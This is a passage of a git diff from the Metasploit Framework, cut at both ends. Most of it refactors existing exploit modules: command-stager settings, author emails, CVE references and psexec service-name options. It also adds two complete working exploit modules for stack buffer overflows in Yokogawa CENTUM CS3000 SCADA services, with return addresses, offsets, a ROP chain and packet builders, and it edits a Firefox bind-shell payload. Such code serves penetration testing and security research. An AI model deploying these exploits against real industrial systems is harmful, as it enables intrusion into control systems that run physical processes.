request.uri == '/' || request.uri !~ /\/[^\/]+\// + if request.uri == '/' subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote # dispatch based on extension if (request.uri =~ /\.dll$/i) print_status("Sending DLL") - return if ((p = regenerate_payload(cli)) == nil) + return unless regenerate_payload(cli) dll_payload = generate_payload_dll send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' }) else diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index bef570f7d3..faa807e07b 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Insufficient data from CAD service.") return nil end - rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i + data[24,port_str_len].unpack('n*').pack('C*').to_i end diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index 0f7ba57388..c6a426e5d6 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_connect(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) print_status("Client connected! Sending payload...") buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n" client.put(buffer) diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index 7493959322..da45e45485 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_data(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) ok = "+OK\r\n" client.put(ok) diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb index 65a366e4c1..ca485fa83a 100644 --- a/modules/exploits/windows/misc/psh_web_delivery.rb +++ b/modules/exploits/windows/misc/psh_web_delivery.rb @@ -12,6 +12,11 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Powershell + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 10, 23) + DEPRECATION_REPLACEMENT = 'exploit/multi/script/web_delivery' + def initialize(info = {}) super(update_info(info, 'Name' => 'PowerShell Payload Web Delivery', diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index 07ab018d5f..fbeeec1603 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_data(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6) sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index 63ca919ef1..eec34a0ff8 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -128,9 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("Received WebDAV PROPFIND request: #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" - if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 075012b678..8a16697870 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -258,7 +258,8 @@ class Metasploit3 < Msf::Exploit::Remote # since we need to have credentials for this vuln, we just login and run a query # to get the version information - if not (version = mssql_query_version) + version = mssql_query_version + unless version return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) @@ -430,7 +431,7 @@ exec sp_executesql @z| end # convert any bad stuff to char(0xXX) - if ((idx = badchars.index(ch.chr))) + if badchars.index(ch.chr) enc << "'" if in_str enc << "+char(0x%x)" % ch in_str = false diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 31dfc58a78..a16ea8cf0b 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0 )) @@ -112,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create loot table to store configuration information from crawled database server links linked_server_table = Rex::Ui::Text::Table.new( 'Header' => 'Linked Server Table', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] ) save_loot = "" @@ -299,7 +300,8 @@ class Metasploit3 < Msf::Exploit::Remote # Openquery generator else exec_at = temp.shift - sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]" + quotes = "'"*2**ticks + sql = "exec(#{quotes}#{query_builder_rpc(temp, sql,ticks + 1, execute)}#{quotes}) at [#{exec_at}]" return sql end end diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 12d74503a5..3af30dea49 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite #include Msf::Exploit::CmdStagerTFTP @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 687cf8c45d..2ef04fea0b 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index 6a03777b27..a903edde07 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -9,43 +9,44 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, - 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', - 'Description' => %q{ - This module creates and enables a custom UDF (user defined function) on the - target host via the SELECT ... into DUMPFILE method of binary injection. On - default Microsoft Windows installations of MySQL (=< 5.5.9), directory write - permissions not enforced, and the MySQL service runs as LocalSystem. + 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the SELECT ... into DUMPFILE method of binary injection. On + default Microsoft Windows installations of MySQL (=< 5.5.9), directory write + permissions not enforced, and the MySQL service runs as LocalSystem. - NOTE: This module will leave a payload executable on the target system when the - attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() - and sys_exec() functions. - }, - 'Author' => - [ - 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries - 'todb' # this Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - # Bernardo's work with cmd exec via udf - [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], - # Advice from 2005 on securing MySQL on Windows, kind of helpful. - [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() + and sys_exec() functions. + }, + 'Author' => + [ + 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + # Bernardo's work with cmd exec via udf + [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], + # Advice from 2005 on securing MySQL on Windows, kind of helpful. + [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index d3d7ad12e5..31f2508060 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module has been tested on Oracle 10g Release 1 # where the Oracle Job Scheduler runs as SYSTEM on Windows 'Targets' => [['Automatic',{}]], + 'CmdStagerFlavor' => 'vbs', 'Privileged' => true, 'DisclosureDate' => 'Jan 01 2007', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index af8ddc5df0..e51cb583b6 100644 --- a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'ABB MicroSCADA Pro SYS600 9.3', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 05 2013' diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb index 678dcb23e9..410eecec0d 100644 --- a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ] + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0784'] ], 'Payload' => { diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb new file mode 100644 index 0000000000..0fbfa732aa --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKESimmgr.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the BKESimmgr.exe service when handling specially crafted packets, due to an + insecure usage of memcpy, using attacker controlled data as the size count. This module + has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows + 2003 SP2. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic <julian.vilas[at]gmail.com>' + ], + 'References' => + [ + ['CVE', '2014-0782'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/09/r7-2013-192-disclosure-yokogawa-centum-cs-3000-vulnerabilities'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf'] + ], + 'Payload' => + { + 'Space' => 340, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]', + { + 'Ret' => 0x61d1274f, # 0x61d1274f # ADD ESP,10 # RETN # libbkebatchepa.dll + 'Offset' => 64, + 'FakeArgument1' => 0x0040E65C, # ptr to .data on BKESimmgr.exe + 'FakeArgument2' => 0x0040EB90 # ptr to .data on BKESimmgr.exe + } + ], + ], + 'DisclosureDate' => 'Mar 10 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(34205) + ], self.class) + end + + def check + data = create_pkt(rand_text_alpha(4)) + + res = send_pkt(data) + + if res && res.length == 10 + simmgr_res = parse_response(res) + + if valid_response?(simmgr_res) + check_code = Exploit::CheckCode::Appears + else + check_code = Exploit::CheckCode::Safe + end + else + check_code = Exploit::CheckCode::Safe + end + + check_code + end + + def exploit + bof = rand_text(target['Offset']) + bof << [target.ret].pack("V") + bof << [target['FakeArgument1']].pack("V") + bof << [target['FakeArgument2']].pack("V") + bof << rand_text(16) # padding (corrupted bytes) + bof << create_rop_chain + bof << payload.encoded + + data = [0x1].pack("N") # Sub-operation id, <= 0x8 in order to pass the check at sub_4090B0 + data << [bof.length].pack("n") + data << bof + + pkt = create_pkt(data) + + print_status("Trying target #{target.name}, sending #{pkt.length} bytes...") + connect + sock.put(pkt) + disconnect + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x004047ca, # POP ECX # RETN [BKESimmgr.exe] + 0x610e3024, # ptr to &VirtualAlloc() [IAT libbkfmtvrecinfo.dll] + 0x61232d60, # MOV EAX,DWORD PTR DS:[ECX] # RETN [LibBKESysVWinList.dll] + 0x61d19e6a, # XCHG EAX,ESI # RETN [libbkebatchepa.dll] + 0x619436d3, # POP EBP # RETN [libbkeeda.dll] + 0x61615424, # & push esp # ret [libbkeldc.dll] + 0x61e56c8e, # POP EBX # RETN [LibBKCCommon.dll] + 0x00000001, # 0x00000001-> ebx + 0x61910021, # POP EDX # ADD AL,0 # MOV EAX,6191002A # RETN [libbkeeda.dll] + 0x00001000, # 0x00001000-> edx + 0x0040765a, # POP ECX # RETN [BKESimmgr.exe] + 0x00000040, # 0x00000040-> ecx + 0x6191aaab, # POP EDI # RETN [libbkeeda.dll] + 0x61e58e04, # RETN (ROP NOP) [LibBKCCommon.dll] + 0x00405ffa, # POP EAX # RETN [BKESimmgr.exe] + 0x90909090, # nop + 0x619532eb # PUSHAD # RETN [libbkeeda.dll] + ].pack("V*") + + rop_gadgets + end + + def create_pkt(data) + pkt = [0x01].pack("N") # Operation Identifier + pkt << [data.length].pack("n") # length + pkt << data # Fake packet + + pkt + end + + def send_pkt(data) + connect + sock.put(data) + res = sock.get_once + disconnect + + res + end + + def parse_response(data) + data.unpack("NnN") + end + + def valid_response?(data) + valid = false + + if data && data[0] == 1 && data[1] == 4 && data[1] == 4 && data[2] == 5 + valid = true + end + + valid + end + +end diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb new file mode 100644 index 0000000000..90a1155783 --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create + logs using functions like vsprintf and memcpy in a insecure way. This module has been + tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. + }, + 'Author' => + [ + 'Redsadic <julian.vilas[at]gmail.com>', + 'juan vazquez' + ], + 'References' => + [ + ['CVE', '2014-3888'], + ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] + ], + 'Payload' => + { + 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', + { + 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll + 'Offset' => 438 + } + ], + ], + 'DisclosureDate' => 'May 23 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20010) + ], self.class) + end + + def exploit + connect_udp + + sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header + sploit << rand_text(target['Offset']) + sploit << [target.ret].pack("V") + sploit << payload.encoded + + print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") + udp_sock.put(sploit) + + disconnect_udp + end + +end + diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb index fc5144ec3f..cc6166ad9d 100644 --- a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb @@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ] + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ], + [ 'CVE', '2014-0783'] ], 'Payload' => { diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index de5c750616..39d65b37fa 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. }, 'Author' => [ - 'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>', + 'Nicolas Pouvesle <nicolas.pouvesle[at]gmail.com>', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 9c83a3e43b..fdd61ece0c 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore <brett.moore[at]insomniasec.com>', - 'frank2 <frank2@dc949.org>', # check() detection + 'frank2 <frank2[at]dc949.org>', # check() detection 'jduck', # XP SP2/SP3 AlwaysOn DEP bypass ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 68badfeef6..03027e943d 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -81,7 +81,9 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), - OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]) + OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil]), + OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]), + OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil]) ], self.class) end @@ -152,8 +154,9 @@ class Metasploit3 < Msf::Exploit::Remote # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") else - servicename = rand_text_alpha(8) + servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) servicedescription = datastore['SERVICE_DESCRIPTION'] + displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1) # Upload the shellcode to a file print_status("Uploading payload...") @@ -199,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end - psexec(file_location, false, servicedescription) + psexec(file_location, false, servicedescription, servicename, displayname) print_status("Deleting \\#{filename}...") sleep(1) diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index d768e8b5d2..305855e131 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses - that method. Otherwise it falls back to the VBS Cmdstager which is + that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/smart_migrate', + 'CMDSTAGER::DECODER' => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep") }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -59,12 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]), ], self.class ) - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_sleep")]), - ], self.class) + deregister_options('CMDSTAGER::FLAVOR') @compat_mode = false end @@ -78,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote return if path.nil? exec_script(path) else - execute_cmdstager + execute_cmdstager({:flavor => :vbs}) end handler end diff --git a/modules/payloads/singles/cmd/unix/bind_perl.rb b/modules/payloads/singles/cmd/unix/bind_perl.rb index 66ae6716de..ffd0535b09 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy <samy@samy.pl>', 'cazz'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb index 290ef86af4..e8121f085a 100644 --- a/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl', - 'Author' => ['Samy <samy@samy.pl>', 'cazz'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz'], 'License' => BSD_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 42da08864a..a307b7b9c4 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy <samy@samy.pl>', 'cazz', 'patrick'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 283d965fbb..3866ee4be0 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy <samy@samy.pl>', 'cazz', 'patrick'], + 'Author' => ['Samy <samy[at]samy.pl>', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 9a91867fb7..377c25a624 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -6,6 +6,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -23,22 +24,14 @@ module Metasploit3 'Arch' => ARCH_FIREFOX, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'firefox', - 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + 'PayloadType' => 'firefox' )) end - # - # Constructs the payload - # - def generate - super + command_string - end - # # Returns the JS string to use for execution # - def command_string + def generate %Q| (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); @@ -59,16 +52,17 @@ module Metasploit3 } }; + #{read_until_token_source} + var clientListener = function(outStream) { return { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if(!err) outStream.write(output, output.length); }); - } + }) }; }; diff --git 